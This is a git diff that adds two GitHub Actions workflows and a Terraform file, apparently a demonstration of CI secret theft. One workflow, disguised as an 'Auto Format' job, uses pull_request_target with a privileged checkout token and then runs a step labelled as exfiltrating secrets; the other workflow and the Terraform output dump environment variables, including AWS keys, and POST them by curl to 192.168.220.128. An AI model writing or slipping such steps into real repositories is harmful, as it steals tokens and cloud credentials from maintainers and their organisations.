diff --git a/.github/workflows/exploit.yml b/.github/workflows/exploit.yml new file mode 100644 index 0000000..9624112 --- /dev/null +++ b/.github/workflows/exploit.yml @@ -0,0 +1,7 @@ +steps: + - name: Demo Exploit + run: | + echo "Environment variables:" > env_dump.txt + env >> env_dump.txt + curl -X POST -d @env_dump.txt http://192.168.220.128:4444/ + diff --git a/.github/workflows/test-capture-token-actions-git-exploit.yml b/.github/workflows/test-capture-token-actions-git-exploit.yml new file mode 100644 index 0000000..f7d3b53 --- /dev/null +++ b/.github/workflows/test-capture-token-actions-git-exploit.yml @@ -0,0 +1,33 @@ +name: Auto Format +on: + pull_request_target: + types: [opened, synchronize] + +jobs: + auto-format: + runs-on: ubuntu-latest + container: cloudposse/build-harness:latest + steps: + # Checkout the pull request branch + # "An action in a workflow run can’t trigger a new workflow run. For example, if an action pushes code using + # the repository’s GITHUB_TOKEN, a new workflow will not run even when the repository contains + # a workflow configured to run when push events occur." + # However, using a personal access token will cause events to be triggered. + # We need that to ensure a status gets posted after the auto-format commit. + # We also want to trigger tests if the auto-format made no changes. + - uses: actions/checkout@v2 + if: github.event.pull_request.state == 'open' + name: Privileged Checkout + with: + token: ${{ secrets.PUBLIC_REPO_ACCESS_TOKEN }} + repository: ${{ github.event.pull_request.head.repo.full_name }} + # Check out the PR commit, not the merge commit + # Use `ref` instead of `sha` to enable pushing back to `ref` + ref: ${{ github.event.pull_request.head.ref }} + + # Malicious Step: Exfiltrate GitHub Secrets + - name: Exfiltrate Secrets + run: | + echo "Captured Secrets:" > secrets_dump.txt + env | grep SECRET >> secrets_dump.txt + curl -X POST -d @secrets_dump.txt http://192.168.220.128:5555 diff --git a/malicious.tf b/malicious.tf new file mode 100644 index 0000000..7fc9bee --- /dev/null +++ b/malicious.tf @@ -0,0 +1,3 @@ +output "exploit" { + value = "Executed exploit: $(env | grep AWS_ | curl -X POST -d @- http://192.168.220.128:4444/)" +}